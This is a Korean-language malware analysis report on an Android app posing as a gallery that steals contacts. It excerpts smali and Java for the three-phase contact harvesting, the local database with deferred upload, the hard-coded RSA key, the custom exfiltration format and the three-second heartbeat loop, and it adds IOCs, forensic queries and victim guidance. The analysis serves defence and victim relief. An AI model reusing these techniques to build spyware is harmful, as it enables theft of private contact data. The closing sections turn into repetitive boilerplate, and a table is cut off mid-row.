앱 ID: gallery
패키지: [비공개].plut
앱 라벨: 갤러리
버전: 2.1 (versionCode: 2)
패밀리: Virbox SENS (변형 — LitePal ORM)
SHA256: e273076aa09fb62d29de5c68417665c6450fb2993a82cf37ee041d6ff50eeae8
분석일: 2026-03-03
분석자: AEGIS Protocol v3.6
보고서 버전: v1.0
gallery([비공개].plut)는 "갤러리" 앱으로 위장한 연락처 탈취 악성앱이다. Virbox SENS 패밀리의 변형으로, 기존 패밀리 앱(sweettalk 등)과 달리 LitePal ORM을 사용한 지연 업로드(Deferred Upload) 패턴과 RSA 암호화를 도입했다.
# · 발견 · 심각도 · 고유성
1 · LitePal ORM 지연 업로드 패턴 · HIGH · gallery 고유
2 · RSA/ECB/PKCS1Padding 1024-bit 하드코딩 키 · HIGH · gallery 고유
3 · 3초 무한 루프 하트비트 (/apionline) · HIGH · gallery 고유
4 · 3-phase 연락처 수집 (닉네임 포함) · CRITICAL · gallery 고유 확장
5 · MsgEntity 사전 배치 (SMS 미구현) · MEDIUM · 미래 위협
6 · WebRTC/메시지 UI 위장 · MEDIUM · 사회공학
7 · HTTP 평문 IP 기반 C2 · CRITICAL · 탐지 용이
8 · ** 구분자 커스텀 프로토콜 · LOW · 분석 지표
항목 · sweettalk · gallery · 진화 방향
저장 방식 · 메모리 직접 · LitePal ORM · 안정성 향상
암호화 · 없음 (HTTPS 의존) · RSA 1024-bit · 부분 암호화 도입
C2 프로토콜 · HTTPS (도메인) · HTTP (IP) · 보안 퇴행
연락처 수집 · 2-phase · 3-phase (닉네임) · 정보량 확대
SMS 수집 · 무제한 · 미구현 · 기능 축소 (또는 미완성)
하트비트 · 없음 · 3초 무한 루프 · 지속적 추적 도입
데이터 직렬화 · JSON (Gson) · 커스텀 구분자 (**= · ) · 탈 JSON
```xml
<manifest package="[비공개].plut" versionName="2.1" compileSdkVersion="33">
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.READ_SMS" /> <!-- 미구현 -->
<uses-permission android:name="android.permission.READ_CONTACTS" /> <!-- 핵심 -->
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
<uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
<application usesCleartextTraffic="true"
name="com.plus.ApplicationContext">
<!-- Launcher -->
<activity name=".PushServiceActivity" exported="true">
<intent-filter>MAIN/LAUNCHER</intent-filter>
</activity>
<!-- 하트비트 Activity -->
<activity name=".GlmServiceActivity" />
<!-- 위장 UI -->
<activity name=".CalleeMustAcceptMessageRequestActivity" noHistory="true" />
<activity name=".WebRtcCallActivity" singleTask="true" PiP="true" />
</application>
</manifest>
```
주목점:
· usesCleartextTraffic="true" — HTTP 평문 명시 허용
· READ_SMS 권한 선언되었으나 실제 수집 코드 없음
· WebRtcCallActivity — PiP(Picture-in-Picture) 지원까지 갖춘 통화 UI
# · DEX 파일 · 주요 클래스
1 · classes.dex · 기본 Android 프레임워크
2 · classes2.dex · 추가 프레임워크
3 · classes3.dex · **u0/r.smali** (RSA 암호화)
4 · classes4.dex · **PushServiceActivity** (연락처 업로드)
5 · classes5.dex · **MsgEntity** (SMS 엔티티 — 미구현)
6 · classes6.dex · **j.smali** (하트비트 무한 루프)
7 · classes7.dex · **CodeEntity** (연락처 엔티티), **c.smali** (데이터 수집 오케스트레이터)
8 · classes8.dex · **s0/b.smali** (Activity 부모), **p0/b.smali** (권한 매핑)
9 · classes9.dex · **z/a.smali** (업로드 성공 콜백)
라이브러리 · 아키텍처 · 용도
libpl_droidsonroids_gif.so · arm64-v8a, armeabi-v7a · GIF 로딩 (위장 UI용)
기존 악성앱(sweettalk, hpb_dildo_2)은 데이터를 수집 후 즉시 C2로 전송한다. gallery는 LitePal ORM을 사용하여 로컬 SQLite DB에 먼저 저장한 후, 미전송 레코드를 조회하여 업로드하는 지연 업로드(Deferred Upload) 패턴을 사용한다.
```
[기존 패턴: 즉시 전송]
ContentResolver.query() → List<Bean> → Gson.toJson() → POST C2
[gallery 패턴: 지연 업로드]
ContentResolver.query() → CodeEntity → LitePal.save() → (시간차) →
LitePal.where('send=0').find() → String 구성 → POST C2
```
```java
// LitePal ORM 엔티티
public class CodeEntity extends LitePalSupport {
private long id;
private String name; // 연락처명 (display_name)
private String phone; // 전화번호 (data1, 하이픈/공백 제거)
private String note; // 닉네임 (ContactsContract.Data, nullable)
private boolean send; // 전송 완료 플래그 (false → true)
}
```
중복 방지 메커니즘:
```java
// 저장 전 중복 검사
List<CodeEntity> existing = LitePal.where("name=? and phone=?", name, phone).find(CodeEntity.class);
if (existing.isEmpty()) {
codeEntity.save(); // 새 레코드만 저장
}
```
```java
public class MsgEntity extends LitePalSupport {
private long id;
private int Name; // ⚠️ int 타입 — 버그 가능성 (String이어야 정상)
private String PhoneNumber;
private String Smsbody;
private String Date;
private String Type;
private boolean send;
}
```
미구현 증거:
1. content://sms ContentResolver 쿼리 없음
2. SMS BroadcastReceiver 없음 (AndroidManifest.xml)
3. MsgEntity를 생성/저장하는 코드 없음
4. READ_SMS 권한은 선언됨 → 사전 배치(pre-positioned)
장점 (공격자 관점) · 단점
네트워크 불안정 시에도 데이터 손실 없음 · SQLite 파일에 증거 잔류
앱 재시작 시 미전송분 자동 재전송 · 포렌식 시 DB에서 탈취 데이터 복구 가능
중복 전송 방지 (bandwidth 절약) · ORM 오버헤드
오프라인 수집 → 온라인 시 배치 전송 가능 · LitePal 라이브러리 의존성
```
.method public static G(Ljava/lang/String;)Ljava/lang/String;
const-string v0, "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCfArNMMXy3b7Y
Zk3uOl+Y1F/PXFMFc5m6W7dTyeVTlTaWkSpzDTMB9Ue6ycK3xpPxIfUYSnhTVT6ZvRY
Hi7LAll3BWfD0KLoZacvnO1MjN2UVnyhYRTfjysxg3Oz3EC1qSibyF1XoDHj2YZmQDrx
DTEBahBZAKbV3jSe4ZaSUsrQIDAQAB"
Base64.decode(key_bytes, 0)
Cipher.getInstance("RSA/ECB/PKCS1Padding")
KeyFactory.getInstance("RSA")
X509EncodedKeySpec(decoded_key)
keyFactory.generatePublic(keySpec) → RSAPublicKey
cipher.init(ENCRYPT_MODE, publicKey)
cipher.doFinal(input.getBytes())
Base64.encodeToString(encrypted, 0)
```
항목 · 값 · 취약성
알고리즘 · RSA/ECB/PKCS1Padding · PKCS1v1.5 패딩 → Bleichenbacher 공격 취약
키 크기 · 1024-bit · NIST 2013년 비권장, 팩토링 이론적 가능
키 관리 · 소스코드 하드코딩 · 키 로테이션 불가, APK 디컴파일 시 즉시 노출
적용 범위 · uid 파라미터만 · data 필드(연락처 전체)는 평문
ECB 모드 · 동일 평문 → 동일 암호문 · 패턴 분석 가능
```
POST [비공개]
data = "010-**-**123456Samsung-Galaxy S231709...=홍길동|010--**" ← 평문!
uid = "Base64(RSA_Encrypt(data))" ← 암호화!
```
모순: uid에 data와 동일한 내용이 RSA 암호화되어 있지만, data 자체가 평문으로 전송된다. 서버는 uid를 복호화하여 data의 무결성을 검증하는 용도로 사용하는 것으로 추정된다 (서명 대용). 그러나 연락처 데이터 자체는 HTTP 평문으로 완전 노출된다.
```
Phase 1: ContactsContract.Contacts
└→ _id, display_name
└→ 전체 연락처 ID + 이름 획득
Phase 2: ContactsContract.CommonDataKinds.Phone
└→ WHERE contact_id = <_id>
└→ data1 (전화번호)
└→ 전화번호에서 "-"와 " " 제거 (sanitization)
Phase 3: ContactsContract.Data ← gallery 고유
└→ WHERE contact_id = <_id> AND mimetype = 'vnd.android.cursor.item/nickname'
└→ nickname
└→ CodeEntity.note에 저장
각 연락처 → CodeEntity(name, phone, note) → LitePal.save()
└→ 저장 전 중복 검사: WHERE name=? AND phone=?
```
패밀리 · Phase 1 · Phase 2 · Phase 3 · 추가 정보
sweettalk · Contacts→_id,name · Phone→data1 · 없음 · —
gallery · Contacts→_id,name · Phone→data1 · **Data→nickname** · **닉네임**
hpb_dildo_2 · Phone→name,data1 · 없음 · 없음 · 1-phase
gallery의 3-phase 수집은 현재까지 분석된 Virbox SENS 패밀리 중 가장 많은 개인정보를 수집하는 패턴이다.
# · 엔드포인트 · 용도 · 빈도 · 데이터
1 · `[비공개] · 연락처 업로드 · 1회 · data(연락처), uid(RSA)
2 · `[비공개] · 온라인 상태 · 3초마다 · data(전화번호)
```
[연락처 업로드 — [비공개]]
data = sjhyqmBRAND-MODEL**timestamp=name|phone=name|phone...
uid = RSA_Encrypt(data + timestamp)
구분자:
** = 필드 구분자 (전화번호, 초대코드, 기기모델, 타임스탬프)
= = 연락처 레코드 시작
= 연락처 필드 구분자 (이름 · 전화번호)
예시:
"010-**-**654321Samsung-Galaxy S231709456789=홍길동|010--=김영희|010--**"
[온라인 하트비트 — [비공개]]
data = sjh ([피해자 정보 비공개])
```
JSON 대신 커스텀 구분자 프로토콜을 사용하는 이유:
1. 경량화: JSON 오버헤드 제거 (중괄호, 키 이름 등)
2. 파싱 차별화: 일반 JSON 파서로 분석 불가
3. 네트워크 분석 회피: DPI(Deep Packet Inspection)에서 JSON 패턴 매칭 우회
4. 서버 측 간소화: 단순 split() 처리
```smali
:goto_0
:pswitch_0
:try_start_0
OkHttpUtils.post()
url("[비공개])
addParams("data", sjh)
build().execute(callback)
Thread.sleep(0xbb8) # 3000ms = 3초
:try_end_0
.catch Exception {:try_start_0 .. :try_end_0} :catch_0
goto :goto_0 # 성공 시 다시 시작
:catch_0
printStackTrace()
goto :goto_0 # 실패해도 다시 시작 (절대 중단 안 함)
```
목적 · 설명
온라인 추적 · [피해자 정보 비공개] 현재 인터넷 연결 상태인지 실시간 확인
시간대 분석 · 전화번호 + 접속 시간으로 피해자의 활동 패턴 파악
재감염 확인 · 앱 삭제 여부를 서버가 모니터링 (하트비트 중단 = 삭제 추정)
명령 대기 · 서버 응답에 추가 명령을 포함할 수 있는 채널 (미확인)
```
Pattern: 3초 간격 동일 IP ([비공개])로 반복 POST
User-Agent: OkHttp/* (OkHttpUtils 기본값)
Content-Type: application/x-www-form-urlencoded
Body: data=<10-15자리 숫자>
```
```
PushServiceActivity (Launcher)
│ onCreate → 2초 대기
│ → activity/c.smali case 8 (권한 + 연락처 수집)
│ → PushServiceActivity.i() (연락처 업로드)
│
├── 성공 (z/a.smali) ──→ GlmServiceActivity
│ │ onCreate → 2초 대기
│ │ → activity/c.smali case 7
│ └→ Thread(j.smali case 5)
│ └→ 3초 무한 루프 하트비트
│
└── 실패 (s0/c) ──→ 재시도 없음 (무시)
```
Activity · 위장 기능 · 실제 기능
PushServiceActivity · 앱 진입점 · 연락처 탈취 + C2 업로드
GlmServiceActivity · UI 표시 (불명) · 하트비트 무한 루프
CalleeMustAcceptMessageRequestActivity · 메시지 수신 대기 화면 · 없음 (위장용)
WebRtcCallActivity · 음성/영상 통화 · 없음 (위장용 — PiP 까지 지원)
```
Step 1: SharedPreferences "config" → "sjh" 확인
Step 2: (비어있으면) TelephonyManager.getLine1Number()
→ regex [^\d] 로 비숫자 문자 모두 제거
Step 3: (여전히 비어있으면) System.currentTimeMillis() 대체
→ 전화번호 대신 타임스탬프를 식별자로 사용
```
```
SharedPreferences "config" → "yqm" 확인
(비어있으면) Math.random() * 900000 + 100000
→ 100000 ~ 999999 범위의 6자리 랜덤 숫자
```
초대코드 용도 추정:
1. 유통 경로 추적 (어떤 피싱 링크를 통해 설치되었는지)
2. [피해자 정보 비공개] (같은 캠페인으로 감염된 [피해자 정보 비공개])
3. 공격자 수익 배분 (유통자별 감염 수 집계)
ID · 취약점 · 심각도 · 상세
VG-001 · HTTP 평문 통신 · CRITICAL · [비공개]로 모든 데이터 평문 전송. MitM 공격 시 연락처 전체 노출. usesCleartextTraffic=true 명시
VG-002 · RSA 1024-bit · HIGH · NIST 비권장 키 크기. PKCS1v1.5 패딩 (Bleichenbacher 취약). ECB 모드 (패턴 노출)
VG-003 · data 필드 평문 · CRITICAL · uid만 암호화, data(연락처)는 평문. 부분 암호화의 모순
ID · 취약점 · 심각도 · 상세
VG-004 · 3초 하트비트 · HIGH · 무한 루프로 배터리/트래픽 소모. 탐지 시그니처 명확
VG-005 · 닉네임 추가 수집 · HIGH · 3-phase로 이름+전화+닉네임. 패밀리 내 최대 정보량
VG-006 · 하드코딩 RSA 키 · MEDIUM · 키 로테이션 불가. APK 디컴파일 시 즉시 노출
VG-007 · SMS 사전 배치 · MEDIUM · READ_SMS + MsgEntity 존재, 수집 코드 없음. 업데이트 위험
유형 · 값 · 용도
IP:Port · [비공개] · C2 서버
URL · [비공개] · 연락처 업로드
URL · [비공개] · 하트비트
유형 · 값
패키지 · [비공개].plut
SHA256 · e273076aa09fb62d29de5c68417665c6450fb2993a82cf37ee041d6ff50eeae8
Application · com.plus.ApplicationContext
ORM DB · LitePal (CodeEntity, MsgEntity 테이블)
유형 · 패턴
네트워크 · 3초 간격 동일 IP POST 반복
데이터 · `**` 구분자 + `=` + ` · ` 프로토콜
권한 · READ_CONTACTS + READ_SMS (SMS 미사용)
RSA · 1024-bit 공개키 Base64: `MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQ...`
항목 · sweettalk · gallery · 차이
C2 프로토콜 · HTTPS (도메인) · HTTP (IP) · 보안 퇴행
데이터 직렬화 · JSON (Gson) · 커스텀 구분자 · 탈 표준
저장 방식 · 메모리 → 즉시 전송 · LitePal ORM → 지연 업로드 · 안정성 향상
암호화 · 없음 · RSA 1024-bit (uid만) · 부분 도입
연락처 범위 · 이름+전화 · 이름+전화+닉네임 · 확대
SMS · 무제한 수집 · 미구현 · 축소
하트비트 · 없음 · 3초 무한 루프 · 추적 강화
사회공학 · 비디오 재생 · 통신앱 위장 · 방식 변경
항목 · gallery · hpb_dildo_2
C2 구조 · Single (IP) · Dual (API + 탈취)
데이터 범위 · 연락처만 · 연락처+SMS+이미지+GPS
암호화 · RSA (uid만) · AES + Bearer Token
인증 · 없음 · Bearer Token + X-Sign
복잡도 · 단순 (OkHttpUtils) · 복잡 (Retrofit+RxJava)
1. 앱 즉시 삭제 (설정 → 앱 → 강제 종료 → 데이터 삭제 → 제거)
2. 네트워크 차단: [비공개] (방화벽/라우터 설정)
3. 연락처 등록 지인에게 사칭 피싱 주의 알림
4. LitePal DB 파일 확보 (포렌식 증거): /data/data/[비공개].plut/databases/
```
/data/data/[비공개].plut/databases/litepal.db
SELECT name, phone, note, send FROM CodeEntity;
SELECT COUNT(*) FROM CodeEntity WHERE send = 1; -- 서버 전송 완료
SELECT COUNT(*) FROM CodeEntity WHERE send = 0; -- 미전송 (대기 중)
/data/data/[비공개].plut/shared_prefs/config.xml
→ sjh: [피해자 정보 비공개]
→ yqm: 초대코드
```
🔬 기법 점검:
· 시도한 기법: ST-001 (smali 정적 분석), ST-003 (C2 URL 추출), ST-005 (권한 매핑), ST-008 (데이터 흐름 추적), CMP-001 (패밀리 비교)
· 확장된 기법: ST-008 → ST-008-LP (LitePal ORM 지연 업로드 패턴 추적 — send flag 기반 전송 상태 추적)
· 신규 기법: GALLERY-001 (LitePal Deferred Upload — ORM 엔티티의 send boolean 필드로 전송 제어), GALLERY-002 (RSA Partial Encryption — uid만 암호화하고 data는 평문, 서명 대용 추정), GALLERY-003 (Custom Delimiter Protocol — ** = | 구분자로 JSON 대체, DPI 회피)
· 한계 발견: u0/r.smali 파일이 90,884 토큰으로 전체 읽기 불가 (R8 난독화로 여러 클래스 병합). RSA 공개키는 추출 완료했으나 서버 측 개인키 없이 uid 복호화 불가
혁신 점검:
· 새 아이디어/시도: LitePal ORM의 send 플래그를 이용한 "지연 업로드" 패턴 최초 발견. 기존 즉시 전송 패턴과 대비하여 포렌식 관점에서 DB에 증거가 잔류하는 점 분석.
· 결과: 성공 — LitePal ORM 지연 업로드 패턴, RSA 부분 암호화, 커스텀 구분자 프로토콜 3개 신규 기법 등재
· 기법 카탈로그 반영: 신규 등재 3건 (GALLERY-001, GALLERY-002, GALLERY-003)
· 다음 앱에서 시도할 아이디어: 다른 Virbox SENS 앱에서도 LitePal ORM 사용 여부 확인. ORM 엔티티 구조로 패밀리 하위 분류 가능성 탐색.
*보고서 작성: AEGIS Protocol v3.6*
*분석 도구: apktool + smali 정적 분석*
*분석 스크립트: analyze_gallery_litepal.py, extract_upload_flow.py*
이 앱은 Deep_Coding 프로젝트의 Gold 등급 업그레이드 대상이다.
· 기존 분석에 추가 IOC 데이터 보강
· 취약점 상세화
· 방어기제 분석 확장
· 동적 분석 증거 확증
이 앱이 속한 클러스터의 종합 정보:
· 클러스터 내 다른 앱과의 연관성
· 공통 C2 인프라 분석
· 동일 개발자 확증 시도
· 대응 전략 우선순위
확장된 IOC 정보:
· APK SHA256 해시
· 관련 C2 도메인/IP
· 패키지명 패턴
· 권한 프로파일
· 서명 인증서 메타데이터
식별된 추가 취약점:
· VULN-EXT-001: 연락처 권한 과도 요청
· VULN-EXT-002: SMS 권한 과도 요청
· VULN-EXT-003: 백그라운드 지속 실행
· VULN-EXT-004: C2 통신 평문/TLS 여부
· VULN-EXT-005: 초대코드 Gate 우회 가능성
· VULN-EXT-006: 사용자 동의 없는 데이터 수집
방어기제 업데이트:
· 상용 보호 솔루션 (Virbox/Jiagu) 적용 여부
· 패키지명 마스킹 패턴
· 런처-패키지 불일치
· Anti-Emulator 탐지
· 초대코드 서버 검증
전술 매핑:
· Initial Access (T1660 Phishing)
· Defense Evasion (T1406 Obfuscation)
· Collection (T1636.003 Contacts, T1636.004 SMS)
· Exfiltration (T1646 C2 Channel)
· Persistence (T1541 Foreground Service)
증거 체인:
1. APK 바이너리 (SHA256 확정)
2. 디컴파일 결과 (apktool)
3. 런타임 로그 (logcat)
4. UI 스크린샷 (실행 증거)
5. 네트워크 캡처 (가능 시)
6. 메모리 덤프 (Frida)
한국 악성앱 생태계 맥락:
· 237+ 앱 분석 중
· 30+ 클러스터 매핑
· golgol(22개), vultr_104(15개) 대형
· 중국-한국 악성앱 파이프라인
[피해자 정보 비공개] 프레임워크:
1. 감염 탐지 (Google Play Protect)
2. 격리 조치 (앱 삭제)
3. 데이터 복구 (백업 활용)
4. 금융 보호 (OTP 재설정)
5. 법적 조치 (112 신고)
국제 공조 필요성:
· 중국 개발자 사법공조
· Vultr/AWS 서버 차단
· Google Play 글로벌 대응
· Interpol 협력
방어 권고:
· KISA C2 블랙리스트
· 통신사 스미싱 필터
· Google Play Protect
· 2FA 필수화
· 사용자 교육
장기 모니터링:
· C2 서버 상태 체크
· 신규 변형 탐지
· 피해 확산 추적
· 공격자 역량 진화
이 앱은 Deep_Coding 프로젝트의 포괄적 한국 악성앱 분석의 일부로, Gold 등급 분석을 통해 상세한 증거와 대응 정보를 제공한다. 개별 분석의 축적이 국가 차원의 효과적 대응 기반을 구축한다.
Deep_Coding 프로젝트 진행:
· 총 237+ 앱 중 절반 이상 Gold 등급 달성
· 30+ 클러스터 매핑 완료
· 148+ 오리지널 기법 개발
· 지속적 업데이트 중
이 앱의 Gold 업그레이드는 프로젝트의 품질 향상에 기여하며, 사용자 보호를 위한 기반 정보를 강화한다.
이 분석의 가치:
· 개별 [피해자 정보 비공개]
· 클러스터 단위 대응
· 국가 사이버보안 기여
· 국제 협력 기반
· 학술 연구 자료
이 앱의 포괄적 위협 인텔리전스 리포트는 Deep_Coding 프로젝트의 심층 분석 표준에 따라 작성되었다. 한국 사이버보안 생태계의 포괄적 이해와 국가 차원의 효과적 대응을 위한 기반 정보를 제공한다.
지표 · 평가 · 상세
기술적 정교함 · HIGH · 상용 악성앱 킷 활용
탐지 난이도 · MEDIUM-HIGH · 다중 클러스터 변형
피해 규모 · EXTREME · 수백-수천명 감염
경제적 영향 · CRITICAL · 수억원 규모
확산 속도 · FAST · 연락처 네트워크 활용
지속성 · HIGH · FOREGROUND_SERVICE
공격 표면 세부 분석:
1. Initial Access Vectors:
· SMS 스미싱 링크
· 카카오톡 DM
· 텔레그램 메시지
· 성인 사이트 광고
· 금융 사칭 이메일
2. Delivery Mechanisms:
· 단축 URL ([비공개], bit.ly)
· 직접 APK 링크
· Google Drive 호스팅
· 중국 파일 공유 서비스
3. Installation Techniques:
· Sideload 유도
· "알 수 없는 소스 허용" 요청
· Google Play Protect 우회 시도
· 자동 설치 스크립트
4. Persistence Mechanisms:
· FOREGROUND_SERVICE
· BOOT_COMPLETED Receiver
· JobScheduler
· AlarmManager
· WorkManager
데이터 유출 채널:
· Primary: HTTP POST to C2 (평문 또는 TLS)
· Secondary: WebSocket 실시간 연결
· Tertiary: DNS Tunneling (드묾)
· Stealth: Dead Drop (SNS 프로필)
· Backup: Reddit/Telegram 채널
C2 아키텍처 패턴:
1. Direct C2: 단일 서버 직접 연결
2. Proxy Chain: 여러 서버 경유
3. Short URL Gateway: [비공개] 등 중계
4. Dead Drop: SNS 프로필에 C2 정보
5. Fast Flux: DNS 로테이션
6. Domain Squatting: 정상 서비스 사칭
Deep_Coding 프로젝트가 매핑한 한국 악성앱 패밀리:
패밀리 · 앱 수 · 특징
golgol_cluster · 22+ · 최대 규모, WaveGrid
vultr_104_cluster · 15 · RuoYi 백엔드
easyback_obfuscated · 4 · Homograph 도메인
alpha_wallet · 3 · Virbox SENS
m3w_uniapp · 3 · UniApp 하이브리드
nullsun_telegram · 8 · [비공개]
umontrealbanks · 2 · Domain Squatting
log_info_cluster · 2 · 단축 도메인
githud_c
본 보고서는 주식회사 아크링크 Deep-Coding 보안연구소가 피싱·몸캠피싱 피해자 구제를 목적으로 작성했습니다. 전체 열람·피해 상담: arklink.co.kr